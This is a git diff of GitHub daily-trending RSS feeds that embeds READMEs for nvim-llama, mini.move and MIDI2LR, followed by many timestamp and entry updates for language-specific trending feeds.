<pre><code class="language-lua">require('nvim-llama').setup {}
</code></pre>
<p>You can provide the following optional configuration table to the <code>setup</code> function:</p>
<pre><code class="language-lua">local defaults = {
-- See plugin debugging logs
debug = false,
-- Build llama.cpp for GPU acceleration on Apple M chip devices.
-- If you are using an Apple M1/M2 laptop, it is highly recommended to
-- use this since, depending on the model, may drastically increase performance.
build_metal = false,
}
</code></pre>
<h1>Models</h1>
<p>Llama.cpp supports an incredible number of models.</p>
<p>To start using one, you'll need to download an appropriately sized model that is supported by llama.cpp.</p>
<p>The 13B GGUF CodeLlama model is a really good place to start: <a href="https://huggingface.co/TheBloke/CodeLlama-13B-GGUF">https://huggingface.co/TheBloke/CodeLlama-13B-GGUF</a></p>
<p>In order to use a model, it must be in the <code>llama.cpp/models/</code> directory which is expected to be found at <code>~/.local/share/llama.cpp/models</code>.</p>
<p>The following script can be useful for downloading a model to that directory:</p>
<pre><code class="language-sh">LLAMA_CPP="~/.local/share/nvim/llama.cpp"
MODEL="codellama-13b.Q4_K_M.gguf"
pushd "${LLAMA_CPP}"
if [ ! -f models/${MODEL} ]; then
curl -L "https://huggingface.co/TheBloke/CodeLlama-13B-GGUF/resolve/main/${MODEL}" -o models/${MODEL}
fi
popd
</code></pre>
<p>In the future, this project may provide the capability to download models automatically.</p>
<h1>License</h1>
<p>This project is dual licensed under <a href="https://raw.githubusercontent.com/jpmcb/nvim-llama/main/LICENSE.txt">MIT</a> (first party plugin code) and the <a href="https://raw.githubusercontent.com/jpmcb/nvim-llama/main/LICENSE.llama.txt">Llama 2 license</a>. By using this plugin, you agree to both terms and assert you have already have <a href="https://ai.meta.com/resources/models-and-libraries/llama-downloads/">your own non-transferable license for Llama 2 from Meta AI</a>.</p>
+
+
+ echasnovski/mini.move
+ 2023-12-13T01:37:34Z
+ tag:github.com,2023-12-13:/echasnovski/mini.move
+
+ <p>Neovim Lua plugin to move any selection in any direction. Part of 'mini.nvim' library.</p><hr><img src="https://github.com/echasnovski/media/raw/main/mini.nvim/logo/logo_move.png" style="width: 100%">
<!-- badges: start -->
<p><a href="https://github.com/echasnovski/mini.nvim/raw/main/LICENSE"><img src="https://badgen.net/github/license/echasnovski/mini.nvim" alt="GitHub license"></a></p>
<!-- badges: end -->
<h3>Move any selection in any direction</h3>
<p>See more details in <a href="https://raw.githubusercontent.com/echasnovski/mini.move/main/#features">Features</a> and <a href="https://raw.githubusercontent.com/echasnovski/mini.move/main/doc/mini-move.txt">help file</a>.</p>
<hr>
<p>⦿ This is a part of <a href="https://github.com/echasnovski/mini.nvim">mini.nvim</a> library. Please use <a href="https://github.com/echasnovski/mini.nvim/raw/main/readmes/mini-move.md">this link</a> if you want to mention this module.</p>
<p>⦿ All contributions (issues, pull requests, discussions, etc.) are done inside of 'mini.nvim'.</p>
<p>⦿ See the repository page to learn about common design principles and configuration recipes.</p>
<hr>
<p>If you want to help this project grow but don't know where to start, check out <a href="https://github.com/echasnovski/mini.nvim/raw/main/CONTRIBUTING.md">contributing guides of 'mini.nvim'</a> or leave a Github star for 'mini.nvim' project and/or any its standalone Git repositories.</p>
<h2>Demo</h2>
<p><a href="https://user-images.githubusercontent.com/24854248/213466308-2e732d83-7c49-452d-8974-6b18b38bf89f.mp4">https://user-images.githubusercontent.com/24854248/213466308-2e732d83-7c49-452d-8974-6b18b38bf89f.mp4</a></p>
<h2>Features</h2>
<ul>
<li>Works in two modes:
<ul>
<li>Visual mode. Select text (charwise with <code>v</code>, linewise with <code>V</code>, and blockwise with <code>CTRL-V</code>) and press customizable mapping to move in all four directions (left, right, down, up). It keeps Visual mode.</li>
<li>Normal mode. Press customizable mapping to move current line in all four directions (left, right, down, up).</li>
<li>Special handling of linewise movement:
<ul>
<li>Vertical movement gets reindented with <code>=</code>.</li>
<li>Horizontal movement is improved indent/dedent with <code>></code> / <code><</code>.</li>
<li>Cursor moves along with selection.</li>
</ul> </li>
</ul> </li>
<li>Provides both mappings and Lua functions for motions. See <code>:h MiniMove.move_selection()</code> and <code>:h MiniMove.move_line()</code>.</li>
<li>Respects <code>v:count</code>. Movement mappings can be preceded by a number which multiplies command effect.</li>
<li>All consecutive moves (regardless of direction) can be undone by a single <code>u</code>.</li>
<li>Respects preferred column for vertical movement. It will vertically move selection as how cursor is moving (not strictly vertically if target column is not present in target line).</li>
</ul>
<h2>Installation</h2>
<p>This plugin can be installed as part of 'mini.nvim' library (<strong>recommended</strong>) or as a standalone Git repository.</p>
<p>There are two branches to install from:</p>
<ul>
<li><code>main</code> (default, <strong>recommended</strong>) will have latest development version of plugin. All changes since last stable release should be perceived as being in beta testing phase (meaning they already passed alpha-testing and are moderately settled).</li>
<li><code>stable</code> will be updated only upon releases with code tested during public beta-testing phase in <code>main</code> branch.</li>
</ul>
<p>Here are code snippets for some common installation methods (use only one):</p>
<details>
<summary>With <a href="https://github.com/folke/lazy.nvim">folke/lazy.nvim</a></summary>
<table>
<thead>
<tr>
<th>Github repo</th>
<th>Branch</th>
<th>Code snippet</th>
</tr>
</thead>
<tbody>
<tr>
<td rowspan="2">'mini.nvim' library</td>
<td>Main</td>
<td><code>{ 'echasnovski/mini.nvim', version = false },</code></td>
</tr>
<tr>
<td>Stable</td>
<td><code>{ 'echasnovski/mini.nvim', version = '*' },</code></td>
</tr>
<tr>
<td rowspan="2">Standalone plugin</td>
<td>Main</td>
<td><code>{ 'echasnovski/mini.move', version = false },</code></td>
</tr>
<tr>
<td>Stable</td>
<td><code>{ 'echasnovski/mini.move', version = '*' },</code></td>
</tr>
</tbody>
</table>
</details>
<details>
<summary>With <a href="https://github.com/wbthomason/packer.nvim">wbthomason/packer.nvim</a></summary>
<table>
<thead>
<tr>
<th>Github repo</th>
<th>Branch</th>
<th>Code snippet</th>
</tr>
</thead>
<tbody>
<tr>
<td rowspan="2">'mini.nvim' library</td>
<td>Main</td>
<td><code>use 'echasnovski/mini.nvim'</code></td>
</tr>
<tr>
<td>Stable</td>
<td><code>use { 'echasnovski/mini.nvim', branch = 'stable' }</code></td>
</tr>
<tr>
<td rowspan="2">Standalone plugin</td>
<td>Main</td>
<td><code>use 'echasnovski/mini.move'</code></td>
</tr>
<tr>
<td>Stable</td>
<td><code>use { 'echasnovski/mini.move', branch = 'stable' }</code></td>
</tr>
</tbody>
</table>
</details>
<details>
<summary>With <a href="https://github.com/junegunn/vim-plug">junegunn/vim-plug</a></summary>
<table>
<thead>
<tr>
<th>Github repo</th>
<th>Branch</th>
<th>Code snippet</th>
</tr>
</thead>
<tbody>
<tr>
<td rowspan="2">'mini.nvim' library</td>
<td>Main</td>
<td><code>Plug 'echasnovski/mini.nvim'</code></td>
</tr>
<tr>
<td>Stable</td>
<td><code>Plug 'echasnovski/mini.nvim', { 'branch': 'stable' }</code></td>
</tr>
<tr>
<td rowspan="2">Standalone plugin</td>
<td>Main</td>
<td><code>Plug 'echasnovski/mini.move'</code></td>
</tr>
<tr>
<td>Stable</td>
<td><code>Plug 'echasnovski/mini.move', { 'branch': 'stable' }</code></td>
</tr>
</tbody>
</table>
</details>
<br>
<p><strong>Important</strong>: don't forget to call <code>require('mini.move').setup()</code> to enable its functionality.</p>
<p><strong>Note</strong>: if you are on Windows, there might be problems with too long file paths (like <code>error: unable to create file <some file name>: Filename too long</code>). Try doing one of the following:</p>
<ul>
<li>Enable corresponding git global config value: <code>git config --system core.longpaths true</code>. Then try to reinstall.</li>
<li>Install plugin in other place with shorter path.</li>
</ul>
<h2>Default config</h2>
<pre><code class="language-lua">-- No need to copy this inside `setup()`. Will be used automatically.
{
-- Module mappings. Use `''` (empty string) to disable one.
mappings = {
-- Move visual selection in Visual mode. Defaults are Alt (Meta) + hjkl.
left = '<M-h>',
right = '<M-l>',
down = '<M-j>',
up = '<M-k>',
-- Move current line in Normal mode
line_left = '<M-h>',
line_right = '<M-l>',
line_down = '<M-j>',
line_up = '<M-k>',
},
-- Options which control moving behavior
options = {
-- Automatically reindent selection during linewise vertical move
reindent_linewise = true,
},
}
</code></pre>
<h2>Similar plugins</h2>
<ul>
<li><a href="https://github.com/matze/vim-move">matze/vim-move</a></li>
<li><a href="https://github.com/booperlv/nvim-gomove">booperlv/nvim-gomove</a></li>
</ul>
+
+
+ rsjaffe/MIDI2LR
+ 2023-12-13T01:37:34Z
+ tag:github.com,2023-12-13:/rsjaffe/MIDI2LR
+
+ <p>An application and plugin to remotely control Lightroom with a MIDI controller</p><hr><h1>MIDI2LR</h1>
<p><a href="https://github.com/rsjaffe/MIDI2LR/releases/latest"><img src="https://img.shields.io/github/release/rsjaffe/MIDI2LR.svg?sanitize=true" alt="Latest release"></a> <a href="https://github.com/rsjaffe/MIDI2LR/releases"><img src="https://img.shields.io/github/downloads/rsjaffe/MIDI2LR/total.svg?sanitize=true" alt="MIDI2LR All Releases"></a> <a href="https://github.com/rsjaffe/MIDI2LR/raw/master/LICENSE.txt"><img src="https://img.shields.io/github/license/rsjaffe/MIDI2LR.svg?sanitize=true" alt="license"></a></p>
<p><strong>MIDI2LR</strong> is an application that interfaces MIDI controllers with Lightroom Classic. <strong>Version 4 requires Lightroom 10 Classic, version 5 Lightroom 11 Classic: use version 3 for earlier versions of Lightroom</strong>.</p>
<p>It processes MIDI input into develop parameter updates and photo actions, and sends MIDI output when parameters are changed for motorized feedback (on controllers that have motorized faders). <a href="https://github.com/rsjaffe/MIDI2LR/wiki/Commands">A listing of available Lightroom commands is in the Wiki</a>. Assistance on the code and design is welcome.</p>
<p>MIDI2LR supports all languages Lightroom supports: Deutsch, English, español, français, हिन्दी, italiano, 日本語, 한국어, Nederlands, norsk, polski, português, русский, Svenska, ภาษาไทย and 中文 (简体中文和繁體中文). इंस्टॉलर हिंदी का समर्थन नहीं करता है। हालांकि, आवेदन करता है। MIDI2LR इंस्टॉलर के लिए उपयोग की जाने वाली भाषा की परवाह किए बिना सभी भाषाओं का समर्थन करता है।</p>
<p>Translation assistance welcome. Sign up at <a href="https://poeditor.com/join/project?hash=v6U0MvufAn">https://poeditor.com/join/project?hash=v6U0MvufAn</a>.</p>
<h2>Support MIDI2LR 💸</h2>
<p><a href="https://paypal.me/MIDI2LR">Donate to support project development</a><br> <a href="https://paypal.me/MIDI2LR">Unterstützen Sie die Projektentwicklung mit Ihrer Spende</a><br> <a href="https://paypal.me/MIDI2LR">Donación para ayuda al desarrollo de proyectos</a><br> <a href="https://paypal.me/MIDI2LR">Faire un don pour encourager le développement du projet</a><br> <a href="https://paypal.me/MIDI2LR">प्रोजेक्ट विकास के समर्थन के लिए दान करें</a><br> <a href="https://paypal.me/MIDI2LR">Dona per supportare lo sviluppo del progetto</a><br> <a href="https://paypal.me/MIDI2LR">プロジェクト開発をサポートするための寄付をお願いします</a><br> <a href="https://paypal.me/MIDI2LR">프로젝트 개발 지원을 위해 기부</a><br> <a href="https://paypal.me/MIDI2LR">Doneren om projectontwikkeling te steunen</a><br> <a href="https://paypal.me/MIDI2LR">Doner for å støtte prosjektutvikling</a><br> <a href="https://paypal.me/MIDI2LR">Przekaż dotację na prace nad projektem</a><br> <a href="https://paypal.me/MIDI2LR">Doar para apoiar o desenvolvimento de projetos</a><br> <a href="https://paypal.me/MIDI2LR">Перевести деньги, чтобы поддержать разработку проекта</a><br> <a href="https://paypal.me/MIDI2LR">Donera för att stödja projektutveckling</a><br> <a href="https://paypal.me/MIDI2LR">บริจาคเพื่อสนับสนุนการพัฒนาโครงการ</a><br> <a href="https://paypal.me/MIDI2LR">捐赠以支持项目开发</a><br> <a href="https://paypal.me/MIDI2LR">捐款支持專案開發</a></p>
<table>
<thead>
<tr>
<th>Screenshot</th>
<th>Further information</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="http://rsjaffe.github.io/MIDI2LR/images/app.png"></td>
<td><strong>Discussion Forum</strong>: <a href="https://github.com/rsjaffe/MIDI2LR/discussions">https://github.com/rsjaffe/MIDI2LR/discussions</a> <br><strong>Supported platforms</strong>: MacOS or Windows. <br><strong>Building</strong>: <a href="https://github.com/rsjaffe/MIDI2LR/raw/master/docs/BUILD.txt">See the BUILD.txt file</a>. <br><strong>Project Page</strong>: <a href="http://rsjaffe.github.io/MIDI2LR">Project Page</a>. <br><strong>Wiki and Instruction Manual</strong>: <a href="https://github.com/rsjaffe/MIDI2LR/wiki">Wiki 📖</a>.</td>
</tr>
</tbody>
</table>
<h2>SAST Tools</h2>
<p><a href="https://pvs-studio.com/pvs-studio/?utm_source=website&utm_medium=github&utm_campaign=open_source">PVS-Studio</a> - static analyzer for C, C++, C#, and Java code.</p>
<p><a href="https://www.jetbrains.com/resharper-cpp/">ReSharperC++</a> - static analyzer for C++ code.</p>
+
+
\ No newline at end of file
diff --git a/m/daily/index.xml b/m/daily/index.xml
index a699be6059d..968ce516008 100644
--- a/m/daily/index.xml
+++ b/m/daily/index.xml
@@ -1,7 +1,7 @@
GitHub M Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:44Z
+ 2023-12-13T01:37:49Z
Daily Trending of M in GitHub
\ No newline at end of file
diff --git a/m4/daily/index.xml b/m4/daily/index.xml
index ea2007e7c99..19a465d0d0f 100644
--- a/m4/daily/index.xml
+++ b/m4/daily/index.xml
@@ -1,7 +1,14 @@
GitHub M4 Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:48Z
+ 2023-12-13T01:37:52Z
Daily Trending of M4 in GitHub
+
+ php/php-sdk-binary-tools
+ 2023-12-13T01:37:52Z
+ tag:github.com,2023-12-13:/php/php-sdk-binary-tools
+
+ <p>Tool kit for building PHP under Windows</p><hr>
+
\ No newline at end of file
diff --git a/m4sugar/daily/index.xml b/m4sugar/daily/index.xml
index 8aac06cad08..999b8cda1f1 100644
--- a/m4sugar/daily/index.xml
+++ b/m4sugar/daily/index.xml
@@ -1,7 +1,7 @@
GitHub M4Sugar Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:45Z
+ 2023-12-13T01:37:51Z
Daily Trending of M4Sugar in GitHub
\ No newline at end of file
diff --git a/macaulay2/daily/index.xml b/macaulay2/daily/index.xml
index 3629c9d2e54..e714daf57cd 100644
--- a/macaulay2/daily/index.xml
+++ b/macaulay2/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Macaulay2 Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:46Z
+ 2023-12-13T01:37:50Z
Daily Trending of Macaulay2 in GitHub
\ No newline at end of file
diff --git a/makefile/daily/index.xml b/makefile/daily/index.xml
index 924a37e7a58..c1db8254bfe 100644
--- a/makefile/daily/index.xml
+++ b/makefile/daily/index.xml
@@ -1,14 +1,28 @@
GitHub Makefile Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:56Z
+ 2023-12-13T01:38:02Z
Daily Trending of Makefile in GitHub
- Project-Awaken/android_build
- 2023-12-12T01:53:56Z
- tag:github.com,2023-12-12:/Project-Awaken/android_build
-
- <p></p><hr>
+ RisingTechOSS/android_vendor_rising
+ 2023-12-13T01:38:02Z
+ tag:github.com,2023-12-13:/RisingTechOSS/android_vendor_rising
+
+ <p>RisingOS Vendor - Based from LineageOS</p><hr>
+
+
+ training-of-new-employees/qon
+ 2023-12-13T01:38:02Z
+ tag:github.com,2023-12-13:/training-of-new-employees/qon
+
+ <p>QuickON backend</p><hr>
+
+
+ zigcc/awesome-zig
+ 2023-12-13T01:38:02Z
+ tag:github.com,2023-12-13:/zigcc/awesome-zig
+
+ <p>A collection of some awesome public Zig programming language projects.</p><hr>
\ No newline at end of file
diff --git a/mako/daily/index.xml b/mako/daily/index.xml
index 8582123a975..0d256aa34bf 100644
--- a/mako/daily/index.xml
+++ b/mako/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Mako Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:49Z
+ 2023-12-13T01:37:55Z
Daily Trending of Mako in GitHub
\ No newline at end of file
diff --git a/markdown/daily/index.xml b/markdown/daily/index.xml
index 8f77a2c6154..071eb0082a8 100644
--- a/markdown/daily/index.xml
+++ b/markdown/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Markdown Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:52Z
+ 2023-12-13T01:37:57Z
Daily Trending of Markdown in GitHub
\ No newline at end of file
diff --git a/marko/daily/index.xml b/marko/daily/index.xml
index e9457d06fdc..379ad9add8f 100644
--- a/marko/daily/index.xml
+++ b/marko/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Marko Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:50Z
+ 2023-12-13T01:37:54Z
Daily Trending of Marko in GitHub
\ No newline at end of file
diff --git a/mask/daily/index.xml b/mask/daily/index.xml
index 36ff9855438..bae82f147a1 100644
--- a/mask/daily/index.xml
+++ b/mask/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Mask Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:57Z
+ 2023-12-13T01:38:03Z
Daily Trending of Mask in GitHub
\ No newline at end of file
diff --git a/mathematica/daily/index.xml b/mathematica/daily/index.xml
index a0a0982ffe2..a574e8022d3 100644
--- a/mathematica/daily/index.xml
+++ b/mathematica/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Mathematica Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:00Z
+ 2023-12-13T01:38:04Z
Daily Trending of Mathematica in GitHub
\ No newline at end of file
diff --git a/matlab/daily/index.xml b/matlab/daily/index.xml
index 7e1ab57180c..a01bc6eea94 100644
--- a/matlab/daily/index.xml
+++ b/matlab/daily/index.xml
@@ -1,7 +1,7 @@
GitHub MATLAB Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:02Z
+ 2023-12-13T01:38:07Z
Daily Trending of MATLAB in GitHub
\ No newline at end of file
diff --git a/maven-pom/daily/index.xml b/maven-pom/daily/index.xml
index 88460214189..7be9f00e2f0 100644
--- a/maven-pom/daily/index.xml
+++ b/maven-pom/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Maven POM Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:58Z
+ 2023-12-13T01:38:05Z
Daily Trending of Maven POM in GitHub
\ No newline at end of file
diff --git a/max/daily/index.xml b/max/daily/index.xml
index 3d75f9d55c6..bb0dca57489 100644
--- a/max/daily/index.xml
+++ b/max/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Max Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:04Z
+ 2023-12-13T01:38:10Z
Daily Trending of Max in GitHub
\ No newline at end of file
diff --git a/maxscript/daily/index.xml b/maxscript/daily/index.xml
index 355749793c7..6983bc3067a 100644
--- a/maxscript/daily/index.xml
+++ b/maxscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub MAXScript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:05Z
+ 2023-12-13T01:38:11Z
Daily Trending of MAXScript in GitHub
\ No newline at end of file
diff --git a/mcfunction/daily/index.xml b/mcfunction/daily/index.xml
index ea7c9f37edc..4a0184934bd 100644
--- a/mcfunction/daily/index.xml
+++ b/mcfunction/daily/index.xml
@@ -1,7 +1,7 @@
GitHub mcfunction Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:03Z
+ 2023-12-13T01:38:09Z
Daily Trending of mcfunction in GitHub
\ No newline at end of file
diff --git a/mercury/daily/index.xml b/mercury/daily/index.xml
index 71bd49e0be6..a17a611aa87 100644
--- a/mercury/daily/index.xml
+++ b/mercury/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Mercury Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:12Z
+ 2023-12-13T01:38:21Z
Daily Trending of Mercury in GitHub
\ No newline at end of file
diff --git a/meson/daily/index.xml b/meson/daily/index.xml
index 0bf976877fb..e96073ecd1a 100644
--- a/meson/daily/index.xml
+++ b/meson/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Meson Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:11Z
+ 2023-12-13T01:38:18Z
Daily Trending of Meson in GitHub
\ No newline at end of file
diff --git a/metal/daily/index.xml b/metal/daily/index.xml
index bbe8025bce6..d54e1dbb04d 100644
--- a/metal/daily/index.xml
+++ b/metal/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Metal Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:15Z
+ 2023-12-13T01:38:23Z
Daily Trending of Metal in GitHub
\ No newline at end of file
diff --git a/microsoft-developer-studio-project/daily/index.xml b/microsoft-developer-studio-project/daily/index.xml
index ba6a85e1213..44bc0e2f42c 100644
--- a/microsoft-developer-studio-project/daily/index.xml
+++ b/microsoft-developer-studio-project/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Microsoft Developer Studio Project Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:16Z
+ 2023-12-13T01:38:22Z
Daily Trending of Microsoft Developer Studio Project in GitHub
\ No newline at end of file
diff --git a/microsoft-visual-studio-solution/daily/index.xml b/microsoft-visual-studio-solution/daily/index.xml
index 5a52b417d72..ad96c230de5 100644
--- a/microsoft-visual-studio-solution/daily/index.xml
+++ b/microsoft-visual-studio-solution/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Microsoft Visual Studio Solution Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:18Z
+ 2023-12-13T01:38:25Z
Daily Trending of Microsoft Visual Studio Solution in GitHub
\ No newline at end of file
diff --git a/minid/daily/index.xml b/minid/daily/index.xml
index 4218c5d6937..8ee30739ec4 100644
--- a/minid/daily/index.xml
+++ b/minid/daily/index.xml
@@ -1,7 +1,7 @@
GitHub MiniD Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:17Z
+ 2023-12-13T01:38:26Z
Daily Trending of MiniD in GitHub
\ No newline at end of file
diff --git a/mint/daily/index.xml b/mint/daily/index.xml
index 364e8925484..2c3372a30d0 100644
--- a/mint/daily/index.xml
+++ b/mint/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Mint Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:21Z
+ 2023-12-13T01:38:31Z
Daily Trending of Mint in GitHub
\ No newline at end of file
diff --git a/mirah/daily/index.xml b/mirah/daily/index.xml
index 72b8b171c8d..f6b7d5b866c 100644
--- a/mirah/daily/index.xml
+++ b/mirah/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Mirah Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:23Z
+ 2023-12-13T01:38:33Z
Daily Trending of Mirah in GitHub
\ No newline at end of file
diff --git a/mirc-script/daily/index.xml b/mirc-script/daily/index.xml
index aab7c0bf1f8..3929a43d64b 100644
--- a/mirc-script/daily/index.xml
+++ b/mirc-script/daily/index.xml
@@ -1,7 +1,7 @@
GitHub mIRC Script Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:22Z
+ 2023-12-13T01:38:30Z
Daily Trending of mIRC Script in GitHub
\ No newline at end of file
diff --git a/mlir/daily/index.xml b/mlir/daily/index.xml
index 9319bdd4726..4c0c0b17e67 100644
--- a/mlir/daily/index.xml
+++ b/mlir/daily/index.xml
@@ -1,7 +1,7 @@
GitHub MLIR Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:27Z
+ 2023-12-13T01:38:35Z
Daily Trending of MLIR in GitHub
\ No newline at end of file
diff --git a/modelica/daily/index.xml b/modelica/daily/index.xml
index cd127cf07d1..30379e44f8d 100644
--- a/modelica/daily/index.xml
+++ b/modelica/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Modelica Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:26Z
+ 2023-12-13T01:38:36Z
Daily Trending of Modelica in GitHub
\ No newline at end of file
diff --git a/modula-2/daily/index.xml b/modula-2/daily/index.xml
index f79e55755c8..bc30761571d 100644
--- a/modula-2/daily/index.xml
+++ b/modula-2/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Modula-2 Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:24Z
+ 2023-12-13T01:38:38Z
Daily Trending of Modula-2 in GitHub
\ No newline at end of file
diff --git a/modula-3/daily/index.xml b/modula-3/daily/index.xml
index ff4a8f03d8b..3ccd0ad8633 100644
--- a/modula-3/daily/index.xml
+++ b/modula-3/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Modula-3 Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:25Z
+ 2023-12-13T01:38:37Z
Daily Trending of Modula-3 in GitHub
\ No newline at end of file
diff --git a/module-management-system/daily/index.xml b/module-management-system/daily/index.xml
index 849dba3a46e..0cfec5df9c2 100644
--- a/module-management-system/daily/index.xml
+++ b/module-management-system/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Module Management System Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:29Z
+ 2023-12-13T01:38:40Z
Daily Trending of Module Management System in GitHub
\ No newline at end of file
diff --git a/monkey-c/daily/index.xml b/monkey-c/daily/index.xml
index 38044b4415e..5d800c96e2b 100644
--- a/monkey-c/daily/index.xml
+++ b/monkey-c/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Monkey C Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:30Z
+ 2023-12-13T01:38:42Z
Daily Trending of Monkey C in GitHub
\ No newline at end of file
diff --git a/monkey/daily/index.xml b/monkey/daily/index.xml
index 3ebae588fb5..41208983454 100644
--- a/monkey/daily/index.xml
+++ b/monkey/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Monkey Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:28Z
+ 2023-12-13T01:38:41Z
Daily Trending of Monkey in GitHub
\ No newline at end of file
diff --git a/moocode/daily/index.xml b/moocode/daily/index.xml
index 63b64607b39..10865df2be2 100644
--- a/moocode/daily/index.xml
+++ b/moocode/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Moocode Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:31Z
+ 2023-12-13T01:38:39Z
Daily Trending of Moocode in GitHub
\ No newline at end of file
diff --git a/moonscript/daily/index.xml b/moonscript/daily/index.xml
index 745f6ccc683..942ae278cc7 100644
--- a/moonscript/daily/index.xml
+++ b/moonscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub MoonScript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:36Z
+ 2023-12-13T01:38:45Z
Daily Trending of MoonScript in GitHub
\ No newline at end of file
diff --git a/motoko/daily/index.xml b/motoko/daily/index.xml
index 8cc8ae22d75..31fe371a986 100644
--- a/motoko/daily/index.xml
+++ b/motoko/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Motoko Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:35Z
+ 2023-12-13T01:38:47Z
Daily Trending of Motoko in GitHub
\ No newline at end of file
diff --git a/motorola-68k-assembly/daily/index.xml b/motorola-68k-assembly/daily/index.xml
index 44c935b3ca3..f87f00139f3 100644
--- a/motorola-68k-assembly/daily/index.xml
+++ b/motorola-68k-assembly/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Motorola 68K Assembly Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:34Z
+ 2023-12-13T01:38:44Z
Daily Trending of Motorola 68K Assembly in GitHub
\ No newline at end of file
diff --git a/mql4/daily/index.xml b/mql4/daily/index.xml
index a917ab1ec0e..f3654271474 100644
--- a/mql4/daily/index.xml
+++ b/mql4/daily/index.xml
@@ -1,7 +1,7 @@
GitHub MQL4 Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:41Z
+ 2023-12-13T01:38:50Z
Daily Trending of MQL4 in GitHub
\ No newline at end of file
diff --git a/mql5/daily/index.xml b/mql5/daily/index.xml
index 5c1dd9a6bc0..1e997d53eb9 100644
--- a/mql5/daily/index.xml
+++ b/mql5/daily/index.xml
@@ -1,7 +1,7 @@
GitHub MQL5 Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:39Z
+ 2023-12-13T01:38:51Z
Daily Trending of MQL5 in GitHub
\ No newline at end of file
diff --git a/mtml/daily/index.xml b/mtml/daily/index.xml
index 3b4d27aa820..6e43aee99f5 100644
--- a/mtml/daily/index.xml
+++ b/mtml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub MTML Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:40Z
+ 2023-12-13T01:38:48Z
Daily Trending of MTML in GitHub
\ No newline at end of file
diff --git a/muf/daily/index.xml b/muf/daily/index.xml
index 07ce8ee1faf..beb213a610b 100644
--- a/muf/daily/index.xml
+++ b/muf/daily/index.xml
@@ -1,7 +1,7 @@
GitHub MUF Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:38Z
+ 2023-12-13T01:38:49Z
Daily Trending of MUF in GitHub
\ No newline at end of file
diff --git a/mupad/daily/index.xml b/mupad/daily/index.xml
index ab330ac335c..624a1df71a6 100644
--- a/mupad/daily/index.xml
